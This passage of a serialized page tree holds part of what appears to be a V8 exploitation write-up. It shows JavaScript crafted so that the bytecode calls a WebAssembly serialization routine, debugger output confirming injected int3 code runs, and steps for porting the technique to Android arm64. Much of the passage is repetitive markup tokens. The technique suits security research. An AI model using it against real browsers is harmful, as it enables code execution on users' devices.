tag":158,"props":136575,"children":136576},{"style":465},[136577],{"type":29,"value":5682},{"type":24,"tag":158,"props":136579,"children":136580},{"style":188},[136581],{"type":29,"value":191},{"type":24,"tag":158,"props":136583,"children":136584},{"style":465},[136585],{"type":29,"value":5682},{"type":24,"tag":158,"props":136587,"children":136588},{"style":188},[136589],{"type":29,"value":191},{"type":24,"tag":158,"props":136591,"children":136592},{"style":465},[136593],{"type":29,"value":5682},{"type":24,"tag":158,"props":136595,"children":136596},{"style":188},[136597],{"type":29,"value":191},{"type":24,"tag":158,"props":136599,"children":136600},{"style":465},[136601],{"type":29,"value":5682},{"type":24,"tag":158,"props":136603,"children":136604},{"style":188},[136605],{"type":29,"value":191},{"type":24,"tag":158,"props":136607,"children":136608},{"style":465},[136609],{"type":29,"value":5682},{"type":24,"tag":158,"props":136611,"children":136612},{"style":188},[136613],{"type":29,"value":191},{"type":24,"tag":158,"props":136615,"children":136616},{"style":465},[136617],{"type":29,"value":5682},{"type":24,"tag":158,"props":136619,"children":136620},{"style":188},[136621],{"type":29,"value":191},{"type":24,"tag":158,"props":136623,"children":136624},{"style":465},[136625],{"type":29,"value":5682},{"type":24,"tag":158,"props":136627,"children":136628},{"style":188},[136629],{"type":29,"value":191},{"type":24,"tag":158,"props":136631,"children":136632},{"style":465},[136633],{"type":29,"value":4789},{"type":24,"tag":158,"props":136635,"children":136636},{"style":188},[136637],{"type":29,"value":191},{"type":24,"tag":158,"props":136639,"children":136640},{"style":465},[136641],{"type":29,"value":136642},"204",{"type":24,"tag":158,"props":136644,"children":136645},{"style":188},[136646],{"type":29,"value":191},{"type":24,"tag":158,"props":136648,"children":136649},{"style":465},[136650],{"type":29,"value":46047},{"type":24,"tag":158,"props":136652,"children":136653},{"style":188},[136654],{"type":29,"value":191},{"type":24,"tag":158,"props":136656,"children":136657},{"style":465},[136658],{"type":29,"value":136659},"137",{"type":24,"tag":158,"props":136661,"children":136662},{"style":188},[136663],{"type":29,"value":191},{"type":24,"tag":158,"props":136665,"children":136666},{"style":465},[136667],{"type":29,"value":136668},"229",{"type":24,"tag":158,"props":136670,"children":136671},{"style":188},[136672],{"type":29,"value":191},{"type":24,"tag":158,"props":136674,"children":136675},{"style":465},[136676],{"type":29,"value":136677},"106",{"type":24,"tag":158,"props":136679,"children":136680},{"style":188},[136681],{"type":29,"value":191},{"type":24,"tag":158,"props":136683,"children":136684},{"style":465},[136685],{"type":29,"value":5736},{"type":24,"tag":158,"props":136687,"children":136688},{"style":188},[136689],{"type":29,"value":191},{"type":24,"tag":158,"props":136691,"children":136692},{"style":465},[136693],{"type":29,"value":136694},"86",{"type":24,"tag":158,"props":136696,"children":136697},{"style":188},[136698],{"type":29,"value":191},{"type":24,"tag":158,"props":136700,"children":136701},{"style":465},[136702],{"type":29,"value":46047},{"type":24,"tag":158,"props":136704,"children":136705},{"style":188},[136706],{"type":29,"value":191},{"type":24,"tag":158,"props":136708,"children":136709},{"style":465},[136710],{"type":29,"value":136711},"139",{"type":24,"tag":158,"props":136713,"children":136714},{"style":188},[136715],{"type":29,"value":191},{"type":24,"tag":158,"props":136717,"children":136718},{"style":465},[136719],{"type":29,"value":136668},{"type":24,"tag":158,"props":136721,"children":136722},{"style":188},[136723],{"type":29,"value":191},{"type":24,"tag":158,"props":136725,"children":136726},{"style":465},[136727],{"type":29,"value":136728},"93",{"type":24,"tag":158,"props":136730,"children":136731},{"style":188},[136732],{"type":29,"value":235},{"type":24,"tag":158,"props":136734,"children":136735},{"class":160,"line":700},[136736,136741,136745,136749,136753,136757,136761,136765,136769,136773,136777,136781,136785,136789,136793,136797,136801,136805,136809,136813,136817,136821,136825,136829,136833,136837,136841,136845,136849,136853,136857,136861,136865,136869,136873,136877,136881,136885,136889,136893,136897,136901,136905,136909,136913,136917,136921,136925,136929,136933,136937,136941,136945,136949,136953,136957,136961,136965,136969,136973],{"type":24,"tag":158,"props":136737,"children":136738},{"style":465},[136739],{"type":29,"value":136740}," 195",{"type":24,"tag":158,"props":136742,"children":136743},{"style":188},[136744],{"type":29,"value":191},{"type":24,"tag":158,"props":136746,"children":136747},{"style":465},[136748],{"type":29,"value":45575},{"type":24,"tag":158,"props":136750,"children":136751},{"style":188},[136752],{"type":29,"value":191},{"type":24,"tag":158,"props":136754,"children":136755},{"style":465},[136756],{"type":29,"value":60887},{"type":24,"tag":158,"props":136758,"children":136759},{"style":188},[136760],{"type":29,"value":191},{"type":24,"tag":158,"props":136762,"children":136763},{"style":465},[136764],{"type":29,"value":97945},{"type":24,"tag":158,"props":136766,"children":136767},{"style":188},[136768],{"type":29,"value":191},{"type":24,"tag":158,"props":136770,"children":136771},{"style":465},[136772],{"type":29,"value":5682},{"type":24,"tag":158,"props":136774,"children":136775},{"style":188},[136776],{"type":29,"value":191},{"type":24,"tag":158,"props":136778,"children":136779},{"style":465},[136780],{"type":29,"value":18767},{"type":24,"tag":158,"props":136782,"children":136783},{"style":188},[136784],{"type":29,"value":191},{"type":24,"tag":158,"props":136786,"children":136787},{"style":465},[136788],{"type":29,"value":5682},{"type":24,"tag":158,"props":136790,"children":136791},{"style":188},[136792],{"type":29,"value":191},{"type":24,"tag":158,"props":136794,"children":136795},{"style":465},[136796],{"type":29,"value":5682},{"type":24,"tag":158,"props":136798,"children":136799},{"style":188},[136800],{"type":29,"value":191},{"type":24,"tag":158,"props":136802,"children":136803},{"style":465},[136804],{"type":29,"value":5682},{"type":24,"tag":158,"props":136806,"children":136807},{"style":188},[136808],{"type":29,"value":191},{"type":24,"tag":158,"props":136810,"children":136811},{"style":465},[136812],{"type":29,"value":5682},{"type":24,"tag":158,"props":136814,"children":136815},{"style":188},[136816],{"type":29,"value":191},{"type":24,"tag":158,"props":136818,"children":136819},{"style":465},[136820],{"type":29,"value":5682},{"type":24,"tag":158,"props":136822,"children":136823},{"style":188},[136824],{"type":29,"value":191},{"type":24,"tag":158,"props":136826,"children":136827},{"style":465},[136828],{"type":29,"value":5682},{"type":24,"tag":158,"props":136830,"children":136831},{"style":188},[136832],{"type":29,"value":191},{"type":24,"tag":158,"props":136834,"children":136835},{"style":465},[136836],{"type":29,"value":5682},{"type":24,"tag":158,"props":136838,"children":136839},{"style":188},[136840],{"type":29,"value":191},{"type":24,"tag":158,"props":136842,"children":136843},{"style":465},[136844],{"type":29,"value":5682},{"type":24,"tag":158,"props":136846,"children":136847},{"style":188},[136848],{"type":29,"value":191},{"type":24,"tag":158,"props":136850,"children":136851},{"style":465},[136852],{"type":29,"value":18767},{"type":24,"tag":158,"props":136854,"children":136855},{"style":188},[136856],{"type":29,"value":191},{"type":24,"tag":158,"props":136858,"children":136859},{"style":465},[136860],{"type":29,"value":5682},{"type":24,"tag":158,"props":136862,"children":136863},{"style":188},[136864],{"type":29,"value":191},{"type":24,"tag":158,"props":136866,"children":136867},{"style":465},[136868],{"type":29,"value":5682},{"type":24,"tag":158,"props":136870,"children":136871},{"style":188},[136872],{"type":29,"value":191},{"type":24,"tag":158,"props":136874,"children":136875},{"style":465},[136876],{"type":29,"value":5682},{"type":24,"tag":158,"props":136878,"children":136879},{"style":188},[136880],{"type":29,"value":191},{"type":24,"tag":158,"props":136882,"children":136883},{"style":465},[136884],{"type":29,"value":5682},{"type":24,"tag":158,"props":136886,"children":136887},{"style":188},[136888],{"type":29,"value":191},{"type":24,"tag":158,"props":136890,"children":136891},{"style":465},[136892],{"type":29,"value":5682},{"type":24,"tag":158,"props":136894,"children":136895},{"style":188},[136896],{"type":29,"value":191},{"type":24,"tag":158,"props":136898,"children":136899},{"style":465},[136900],{"type":29,"value":5682},{"type":24,"tag":158,"props":136902,"children":136903},{"style":188},[136904],{"type":29,"value":191},{"type":24,"tag":158,"props":136906,"children":136907},{"style":465},[136908],{"type":29,"value":5682},{"type":24,"tag":158,"props":136910,"children":136911},{"style":188},[136912],{"type":29,"value":191},{"type":24,"tag":158,"props":136914,"children":136915},{"style":465},[136916],{"type":29,"value":5682},{"type":24,"tag":158,"props":136918,"children":136919},{"style":188},[136920],{"type":29,"value":191},{"type":24,"tag":158,"props":136922,"children":136923},{"style":465},[136924],{"type":29,"value":5682},{"type":24,"tag":158,"props":136926,"children":136927},{"style":188},[136928],{"type":29,"value":191},{"type":24,"tag":158,"props":136930,"children":136931},{"style":465},[136932],{"type":29,"value":5682},{"type":24,"tag":158,"props":136934,"children":136935},{"style":188},[136936],{"type":29,"value":191},{"type":24,"tag":158,"props":136938,"children":136939},{"style":465},[136940],{"type":29,"value":5682},{"type":24,"tag":158,"props":136942,"children":136943},{"style":188},[136944],{"type":29,"value":191},{"type":24,"tag":158,"props":136946,"children":136947},{"style":465},[136948],{"type":29,"value":5682},{"type":24,"tag":158,"props":136950,"children":136951},{"style":188},[136952],{"type":29,"value":191},{"type":24,"tag":158,"props":136954,"children":136955},{"style":465},[136956],{"type":29,"value":5682},{"type":24,"tag":158,"props":136958,"children":136959},{"style":188},[136960],{"type":29,"value":191},{"type":24,"tag":158,"props":136962,"children":136963},{"style":465},[136964],{"type":29,"value":5682},{"type":24,"tag":158,"props":136966,"children":136967},{"style":188},[136968],{"type":29,"value":191},{"type":24,"tag":158,"props":136970,"children":136971},{"style":465},[136972],{"type":29,"value":5682},{"type":24,"tag":158,"props":136974,"children":136975},{"style":188},[136976],{"type":29,"value":235},{"type":24,"tag":158,"props":136978,"children":136979},{"class":160,"line":785},[136980,136984,136988,136992,136996,137000,137004,137008,137012,137016,137020,137024,137028,137032,137036,137040,137044,137048,137052,137056,137060,137064,137068,137072,137076,137080,137084,137088,137092,137096,137100,137104,137108,137112,137116,137120,137124,137128,137132,137136,137140,137144,137148,137152,137156,137160,137164,137168,137172,137176,137180,137185,137189,137193],{"type":24,"tag":158,"props":136981,"children":136982},{"style":465},[136983],{"type":29,"value":135475},{"type":24,"tag":158,"props":136985,"children":136986},{"style":188},[136987],{"type":29,"value":191},{"type":24,"tag":158,"props":136989,"children":136990},{"style":465},[136991],{"type":29,"value":5682},{"type":24,"tag":158,"props":136993,"children":136994},{"style":188},[136995],{"type":29,"value":191},{"type":24,"tag":158,"props":136997,"children":136998},{"style":465},[136999],{"type":29,"value":5682},{"type":24,"tag":158,"props":137001,"children":137002},{"style":188},[137003],{"type":29,"value":191},{"type":24,"tag":158,"props":137005,"children":137006},{"style":465},[137007],{"type":29,"value":5682},{"type":24,"tag":158,"props":137009,"children":137010},{"style":188},[137011],{"type":29,"value":191},{"type":24,"tag":158,"props":137013,"children":137014},{"style":465},[137015],{"type":29,"value":5682},{"type":24,"tag":158,"props":137017,"children":137018},{"style":188},[137019],{"type":29,"value":191},{"type":24,"tag":158,"props":137021,"children":137022},{"style":465},[137023],{"type":29,"value":5682},{"type":24,"tag":158,"props":137025,"children":137026},{"style":188},[137027],{"type":29,"value":191},{"type":24,"tag":158,"props":137029,"children":137030},{"style":465},[137031],{"type":29,"value":5682},{"type":24,"tag":158,"props":137033,"children":137034},{"style":188},[137035],{"type":29,"value":191},{"type":24,"tag":158,"props":137037,"children":137038},{"style":465},[137039],{"type":29,"value":5682},{"type":24,"tag":158,"props":137041,"children":137042},{"style":188},[137043],{"type":29,"value":191},{"type":24,"tag":158,"props":137045,"children":137046},{"style":465},[137047],{"type":29,"value":5682},{"type":24,"tag":158,"props":137049,"children":137050},{"style":188},[137051],{"type":29,"value":191},{"type":24,"tag":158,"props":137053,"children":137054},{"style":465},[137055],{"type":29,"value":5682},{"type":24,"tag":158,"props":137057,"children":137058},{"style":188},[137059],{"type":29,"value":191},{"type":24,"tag":158,"props":137061,"children":137062},{"style":465},[137063],{"type":29,"value":5682},{"type":24,"tag":158,"props":137065,"children":137066},{"style":188},[137067],{"type":29,"value":191},{"type":24,"tag":158,"props":137069,"children":137070},{"style":465},[137071],{"type":29,"value":5682},{"type":24,"tag":158,"props":137073,"children":137074},{"style":188},[137075],{"type":29,"value":191},{"type":24,"tag":158,"props":137077,"children":137078},{"style":465},[137079],{"type":29,"value":5682},{"type":24,"tag":158,"props":137081,"children":137082},{"style":188},[137083],{"type":29,"value":191},{"type":24,"tag":158,"props":137085,"children":137086},{"style":465},[137087],{"type":29,"value":5682},{"type":24,"tag":158,"props":137089,"children":137090},{"style":188},[137091],{"type":29,"value":191},{"type":24,"tag":158,"props":137093,"children":137094},{"style":465},[137095],{"type":29,"value":5682},{"type":24,"tag":158,"props":137097,"children":137098},{"style":188},[137099],{"type":29,"value":191},{"type":24,"tag":158,"props":137101,"children":137102},{"style":465},[137103],{"type":29,"value":5682},{"type":24,"tag":158,"props":137105,"children":137106},{"style":188},[137107],{"type":29,"value":191},{"type":24,"tag":158,"props":137109,"children":137110},{"style":465},[137111],{"type":29,"value":5682},{"type":24,"tag":158,"props":137113,"children":137114},{"style":188},[137115],{"type":29,"value":191},{"type":24,"tag":158,"props":137117,"children":137118},{"style":465},[137119],{"type":29,"value":5682},{"type":24,"tag":158,"props":137121,"children":137122},{"style":188},[137123],{"type":29,"value":191},{"type":24,"tag":158,"props":137125,"children":137126},{"style":465},[137127],{"type":29,"value":5682},{"type":24,"tag":158,"props":137129,"children":137130},{"style":188},[137131],{"type":29,"value":191},{"type":24,"tag":158,"props":137133,"children":137134},{"style":465},[137135],{"type":29,"value":5682},{"type":24,"tag":158,"props":137137,"children":137138},{"style":188},[137139],{"type":29,"value":191},{"type":24,"tag":158,"props":137141,"children":137142},{"style":465},[137143],{"type":29,"value":5682},{"type":24,"tag":158,"props":137145,"children":137146},{"style":188},[137147],{"type":29,"value":191},{"type":24,"tag":158,"props":137149,"children":137150},{"style":465},[137151],{"type":29,"value":5682},{"type":24,"tag":158,"props":137153,"children":137154},{"style":188},[137155],{"type":29,"value":191},{"type":24,"tag":158,"props":137157,"children":137158},{"style":465},[137159],{"type":29,"value":5682},{"type":24,"tag":158,"props":137161,"children":137162},{"style":188},[137163],{"type":29,"value":191},{"type":24,"tag":158,"props":137165,"children":137166},{"style":465},[137167],{"type":29,"value":30682},{"type":24,"tag":158,"props":137169,"children":137170},{"style":188},[137171],{"type":29,"value":191},{"type":24,"tag":158,"props":137173,"children":137174},{"style":465},[137175],{"type":29,"value":136728},{"type":24,"tag":158,"props":137177,"children":137178},{"style":188},[137179],{"type":29,"value":191},{"type":24,"tag":158,"props":137181,"children":137182},{"style":465},[137183],{"type":29,"value":137184},"198",{"type":24,"tag":158,"props":137186,"children":137187},{"style":188},[137188],{"type":29,"value":191},{"type":24,"tag":158,"props":137190,"children":137191},{"style":465},[137192],{"type":29,"value":5682},{"type":24,"tag":158,"props":137194,"children":137195},{"style":188},[137196],{"type":29,"value":235},{"type":24,"tag":158,"props":137198,"children":137199},{"class":160,"line":1447},[137200],{"type":24,"tag":158,"props":137201,"children":137202},{"style":188},[137203],{"type":29,"value":135762},{"type":24,"tag":158,"props":137205,"children":137206},{"class":160,"line":1509},[137207,137211,137216,137220,137225,137229,137233,137237,137241,137245,137249],{"type":24,"tag":158,"props":137208,"children":137209},{"style":165},[137210],{"type":29,"value":9496},{"type":24,"tag":158,"props":137212,"children":137213},{"style":177},[137214],{"type":29,"value":137215}," r",{"type":24,"tag":158,"props":137217,"children":137218},{"style":222},[137219],{"type":29,"value":462},{"type":24,"tag":158,"props":137221,"children":137222},{"style":496},[137223],{"type":29,"value":137224}," bug",{"type":24,"tag":158,"props":137226,"children":137227},{"style":188},[137228],{"type":29,"value":504},{"type":24,"tag":158,"props":137230,"children":137231},{"style":177},[137232],{"type":29,"value":135093},{"type":24,"tag":158,"props":137234,"children":137235},{"style":188},[137236],{"type":29,"value":191},{"type":24,"tag":158,"props":137238,"children":137239},{"style":177},[137240],{"type":29,"value":126420},{"type":24,"tag":158,"props":137242,"children":137243},{"style":188},[137244],{"type":29,"value":347},{"type":24,"tag":158,"props":137246,"children":137247},{"style":177},[137248],{"type":29,"value":126420},{"type":24,"tag":158,"props":137250,"children":137251},{"style":188},[137252],{"type":29,"value":1071},{"type":24,"tag":158,"props":137254,"children":137255},{"class":160,"line":1527},[137256,137261,137265,137269,137273,137277,137281,137285,137290,137294],{"type":24,"tag":158,"props":137257,"children":137258},{"style":177},[137259],{"type":29,"value":137260}," result",{"type":24,"tag":158,"props":137262,"children":137263},{"style":222},[137264],{"type":29,"value":462},{"type":24,"tag":158,"props":137266,"children":137267},{"style":188},[137268],{"type":29,"value":2262},{"type":24,"tag":158,"props":137270,"children":137271},{"style":1914},[137272],{"type":29,"value":34178},{"type":24,"tag":158,"props":137274,"children":137275},{"style":177},[137276],{"type":29,"value":137215},{"type":24,"tag":158,"props":137278,"children":137279},{"style":188},[137280],{"type":29,"value":347},{"type":24,"tag":158,"props":137282,"children":137283},{"style":496},[137284],{"type":29,"value":58838},{"type":24,"tag":158,"props":137286,"children":137287},{"style":188},[137288],{"type":29,"value":137289},"()).",{"type":24,"tag":158,"props":137291,"children":137292},{"style":177},[137293],{"type":29,"value":40416},{"type":24,"tag":158,"props":137295,"children":137296},{"style":188},[137297],{"type":29,"value":473},{"type":24,"tag":158,"props":137299,"children":137300},{"class":160,"line":1545},[137301,137305,137310,137314,137318,137322,137326,137330,137334,137338],{"type":24,"tag":158,"props":137302,"children":137303},{"style":165},[137304],{"type":29,"value":37452},{"type":24,"tag":158,"props":137306,"children":137307},{"style":177},[137308],{"type":29,"value":137309}," wasm_instance",{"type":24,"tag":158,"props":137311,"children":137312},{"style":222},[137313],{"type":29,"value":462},{"type":24,"tag":158,"props":137315,"children":137316},{"style":165},[137317],{"type":29,"value":33194},{"type":24,"tag":158,"props":137319,"children":137320},{"style":177},[137321],{"type":29,"value":135076},{"type":24,"tag":158,"props":137323,"children":137324},{"style":188},[137325],{"type":29,"value":347},{"type":24,"tag":158,"props":137327,"children":137328},{"style":496},[137329],{"type":29,"value":135130},{"type":24,"tag":158,"props":137331,"children":137332},{"style":188},[137333],{"type":29,"value":504},{"type":24,"tag":158,"props":137335,"children":137336},{"style":177},[137337],{"type":29,"value":1025},{"type":24,"tag":158,"props":137339,"children":137340},{"style":188},[137341],{"type":29,"value":1071},{"type":24,"tag":158,"props":137343,"children":137344},{"class":160,"line":1618},[137345,137349,137353,137357,137361,137365,137369,137373,137377],{"type":24,"tag":158,"props":137346,"children":137347},{"style":165},[137348],{"type":29,"value":37452},{"type":24,"tag":158,"props":137350,"children":137351},{"style":177},[137352],{"type":29,"value":34233},{"type":24,"tag":158,"props":137354,"children":137355},{"style":222},[137356],{"type":29,"value":462},{"type":24,"tag":158,"props":137358,"children":137359},{"style":177},[137360],{"type":29,"value":137309},{"type":24,"tag":158,"props":137362,"children":137363},{"style":188},[137364],{"type":29,"value":347},{"type":24,"tag":158,"props":137366,"children":137367},{"style":177},[137368],{"type":29,"value":39150},{"type":24,"tag":158,"props":137370,"children":137371},{"style":188},[137372],{"type":29,"value":347},{"type":24,"tag":158,"props":137374,"children":137375},{"style":177},[137376],{"type":29,"value":135179},{"type":24,"tag":158,"props":137378,"children":137379},{"style":188},[137380],{"type":29,"value":473},{"type":24,"tag":158,"props":137382,"children":137383},{"class":160,"line":1635},[137384,137389],{"type":24,"tag":158,"props":137385,"children":137386},{"style":496},[137387],{"type":29,"value":137388}," f",{"type":24,"tag":158,"props":137390,"children":137391},{"style":188},[137392],{"type":29,"value":5329},{"type":24,"tag":158,"props":137394,"children":137395},{"class":160,"line":1644},[137396],{"type":24,"tag":158,"props":137397,"children":137398},{"style":188},[137399],{"type":29,"value":103263},{"type":24,"tag":25,"props":137401,"children":137402},{},[137403],{"type":29,"value":137404},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":147,"props":137406,"children":137408},{"code":137407},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[137409],{"type":24,"tag":154,"props":137410,"children":137411},{"__ignoreMap":7},[137412],{"type":29,"value":137407},{"type":24,"tag":395,"props":137414,"children":137416},{"id":137415},"porting-to-android",[137417],{"type":29,"value":137418},"Porting to Android",{"type":24,"tag":25,"props":137420,"children":137421},{},[137422,137424,137429,137431,137436,137438,137443,137445,137451],{"type":29,"value":137423},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":154,"props":137425,"children":137427},{"className":137426},[],[137428],{"type":29,"value":134208},{"type":29,"value":137430}," fails. We cross-compiled ",{"type":24,"tag":154,"props":137432,"children":137434},{"className":137433},[],[137435],{"type":29,"value":133367},{"type":29,"value":137437}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":154,"props":137439,"children":137441},{"className":137440},[],[137442],{"type":29,"value":134208},{"type":29,"value":137444}," returned ",{"type":24,"tag":154,"props":137446,"children":137448},{"className":137447},[],[137449],{"type":29,"value":137450},"undefined",{"type":29,"value":347},{"type":24,"tag":25,"props":137453,"children":137454},{},[137455,137457,137462,137464,137469],{"type":29,"value":137456},"Instead, we modified the bytecode to call ",{"type":24,"tag":154,"props":137458,"children":137460},{"className":137459},[],[137461],{"type":29,"value":134234},{"type":29,"value":137463}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":154,"props":137465,"children":137467},{"className":137466},[],[137468],{"type":29,"value":134208},{"type":29,"value":347},{"type":24,"tag":147,"props":137471,"children":137473},{"code":137472,"language":36879,"meta":7,"className":36877,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[137474],{"type":24,"tag":154,"props":137475,"children":137476},{"__ignoreMap":7},[137477,137488,137532,137552,137568,137591,137618,137633],{"type":24,"tag":158,"props":137478,"children":137479},{"class":160,"line":161},[137480,137484],{"type":24,"tag":158,"props":137481,"children":137482},{"style":1914},[137483],{"type":29,"value":49602},{"type":24,"tag":158,"props":137485,"children":137486},{"style":188},[137487],{"type":29,"value":210},{"type":24,"tag":158,"props":137489,"children":137490},{"class":160,"line":213},[137491,137495,137499,137503,137507,137511,137515,137520,137524,137528],{"type":24,"tag":158,"props":137492,"children":137493},{"style":177},[137494],{"type":29,"value":134475},{"type":24,"tag":158,"props":137496,"children":137497},{"style":188},[137498],{"type":29,"value":77896},{"type":24,"tag":158,"props":137500,"children":137501},{"style":1108},[137502],{"type":29,"value":134484},{"type":24,"tag":158,"props":137504,"children":137505},{"style":188},[137506],{"type":29,"value":347},{"type":24,"tag":158,"props":137508,"children":137509},{"style":496},[137510],{"type":29,"value":134493},{"type":24,"tag":158,"props":137512,"children":137513},{"style":188},[137514],{"type":29,"value":504},{"type":24,"tag":158,"props":137516,"children":137517},{"style":465},[137518],{"type":29,"value":137519},"0x059301",{"type":24,"tag":158,"props":137521,"children":137522},{"style":222},[137523],{"type":29,"value":52527},{"type":24,"tag":158,"props":137525,"children":137526},{"style":465},[137527],{"type":29,"value":1668},{"type":24,"tag":158,"props":137529,"children":137530},{"style":188},[137531],{"type":29,"value":134515},{"type":24,"tag":158,"props":137533,"children":137534},{"class":160,"line":238},[137535,137539,137543,137548],{"type":24,"tag":158,"props":137536,"children":137537},{"style":177},[137538],{"type":29,"value":134523},{"type":24,"tag":158,"props":137540,"children":137541},{"style":222},[137542],{"type":29,"value":2308},{"type":24,"tag":158,"props":137544,"children":137545},{"style":465},[137546],{"type":29,"value":137547}," 0x03027a6c",{"type":24,"tag":158,"props":137549,"children":137550},{"style":188},[137551],{"type":29,"value":473},{"type":24,"tag":158,"props":137553,"children":137554},{"class":160,"line":259},[137555,137559,137564],{"type":24,"tag":158,"props":137556,"children":137557},{"style":1914},[137558],{"type":29,"value":36465},{"type":24,"tag":158,"props":137560,"children":137561},{"style":465},[137562],{"type":29,"value":137563}," 0x393e71a",{"type":24,"tag":158,"props":137565,"children":137566},{"style":188},[137567],{"type":29,"value":473},{"type":24,"tag":158,"props":137569,"children":137570},{"class":160,"line":280},[137571,137575,137579,137583,137587],{"type":24,"tag":158,"props":137572,"children":137573},{"style":188},[137574],{"type":29,"value":48144},{"type":24,"tag":158,"props":137576,"children":137577},{"style":1914},[137578],{"type":29,"value":49682},{"type":24,"tag":158,"props":137580,"children":137581},{"style":188},[137582],{"type":29,"value":2262},{"type":24,"tag":158,"props":137584,"children":137585},{"style":177},[137586],{"type":29,"value":52726},{"type":24,"tag":158,"props":137588,"children":137589},{"style":188},[137590],{"type":29,"value":16038},{"type":24,"tag":158,"props":137592,"children":137593},{"class":160,"line":301},[137594,137598,137602,137606,137610,137614],{"type":24,"tag":158,"props":137595,"children":137596},{"style":177},[137597],{"type":29,"value":103222},{"type":24,"tag":158,"props":137599,"children":137600},{"style":188},[137601],{"type":29,"value":347},{"type":24,"tag":158,"props":137603,"children":137604},{"style":496},[137605],{"type":29,"value":103231},{"type":24,"tag":158,"props":137607,"children":137608},{"style":188},[137609],{"type":29,"value":504},{"type":24,"tag":158,"props":137611,"children":137612},{"style":1108},[137613],{"type":29,"value":134599},{"type":24,"tag":158,"props":137615,"children":137616},{"style":188},[137617],{"type":29,"value":1071},{"type":24,"tag":158,"props":137619,"children":137620},{"class":160,"line":626},[137621,137625,137629],{"type":24,"tag":158,"props":137622,"children":137623},{"style":1914},[137624],{"type":29,"value":134611},{"type":24,"tag":158,"props":137626,"children":137627},{"style":177},[137628],{"type":29,"value":134616},{"type":24,"tag":158,"props":137630,"children":137631},{"style":188},[137632],{"type":29,"value":473},{"type":24,"tag":158,"props":137634,"children":137635},{"class":160,"line":668},[137636],{"type":24,"tag":158,"props":137637,"children":137638},{"style":188},[137639],{"type":29,"value":307},{"type":24,"tag":25,"props":137641,"children":137642},{},[137643,137645,137651,137653,137659,137661,137667,137669,137674,137676,137682,137684,137689,137690,137696],{"type":29,"value":137644},"Here, ",{"type":24,"tag":154,"props":137646,"children":137648},{"className":137647},[],[137649],{"type":29,"value":137650},"a1 + 0x03027a6c",{"type":29,"value":137652}," generates the bytes ",{"type":24,"tag":154,"props":137654,"children":137656},{"className":137655},[],[137657],{"type":29,"value":137658},"01 4b 6c 7a 02 03",{"type":29,"value":137660},", where ",{"type":24,"tag":154,"props":137662,"children":137664},{"className":137663},[],[137665],{"type":29,"value":137666},"0x6c",{"type":29,"value":137668}," is the ",{"type":24,"tag":154,"props":137670,"children":137672},{"className":137671},[],[137673],{"type":29,"value":134192},{"type":29,"value":137675}," opcode, ",{"type":24,"tag":154,"props":137677,"children":137679},{"className":137678},[],[137680],{"type":29,"value":137681},"0x027a",{"type":29,"value":137683}," is the function ID of ",{"type":24,"tag":154,"props":137685,"children":137687},{"className":137686},[],[137688],{"type":29,"value":134234},{"type":29,"value":8136},{"type":24,"tag":154,"props":137691,"children":137693},{"className":137692},[],[137694],{"type":29,"value":137695},"0x03",{"type":29,"value":137697}," is the register index holding its first argument.",{"type":24,"tag":25,"props":137699,"children":137700},{},[137701,137703,137708,137709,137714,137716,137721],{"type":29,"value":137702},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":24,"tag":154,"props":137704,"children":137706},{"className":137705},[],[137707],{"type":29,"value":134234},{"type":29,"value":1826},{"type":24,"tag":154,"props":137710,"children":137712},{"className":137711},[],[137713],{"type":29,"value":135202},{"type":29,"value":137715},". To avoid patching the bytecode again to invoke ",{"type":24,"tag":154,"props":137717,"children":137719},{"className":137718},[],[137720],{"type":29,"value":135202},{"type":29,"value":137722},", we can force Turbofan to compile the target function like this:",{"type":24,"tag":147,"props":137724,"children":137726},{"code":137725,"language":36879,"meta":7,"className":36877,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[137727],{"type":24,"tag":154,"props":137728,"children":137729},{"__ignoreMap":7},[137730,137738,137798,137810],{"type":24,"tag":158,"props":137731,"children":137732},{"class":160,"line":161},[137733],{"type":24,"tag":158,"props":137734,"children":137735},{"style":2588},[137736],{"type":29,"value":137737},"// %WasmTierUpFunction(func);\n",{"type":24,"tag":158,"props":137739,"children":137740},{"class":160,"line":213},[137741,137745,137749,137753,137757,137761,137765,137769,137773,137777,137782,137786,137790,137794],{"type":24,"tag":158,"props":137742,"children":137743},{"style":1914},[137744],{"type":29,"value":5055},{"type":24,"tag":158,"props":137746,"children":137747},{"style":188},[137748],{"type":29,"value":2262},{"type":24,"tag":158,"props":137750,"children":137751},{"style":165},[137752],{"type":29,"value":2662},{"type":24,"tag":158,"props":137754,"children":137755},{"style":177},[137756],{"type":29,"value":1969},{"type":24,"tag":158,"props":137758,"children":137759},{"style":222},[137760],{"type":29,"value":462},{"type":24,"tag":158,"props":137762,"children":137763},{"style":465},[137764],{"type":29,"value":2025},{"type":24,"tag":158,"props":137766,"children":137767},{"style":188},[137768],{"type":29,"value":18465},{"type":24,"tag":158,"props":137770,"children":137771},{"style":177},[137772],{"type":29,"value":1832},{"type":24,"tag":158,"props":137774,"children":137775},{"style":222},[137776],{"type":29,"value":2116},{"type":24,"tag":158,"props":137778,"children":137779},{"style":465},[137780],{"type":29,"value":137781}," 0x100000",{"type":24,"tag":158,"props":137783,"children":137784},{"style":188},[137785],{"type":29,"value":18465},{"type":24,"tag":158,"props":137787,"children":137788},{"style":177},[137789],{"type":29,"value":1832},{"type":24,"tag":158,"props":137791,"children":137792},{"style":222},[137793],{"type":29,"value":52541},{"type":24,"tag":158,"props":137795,"children":137796},{"style":188},[137797],{"type":29,"value":16038},{"type":24,"tag":158,"props":137799,"children":137800},{"class":160,"line":238},[137801,137806],{"type":24,"tag":158,"props":137802,"children":137803},{"style":496},[137804],{"type":29,"value":137805}," 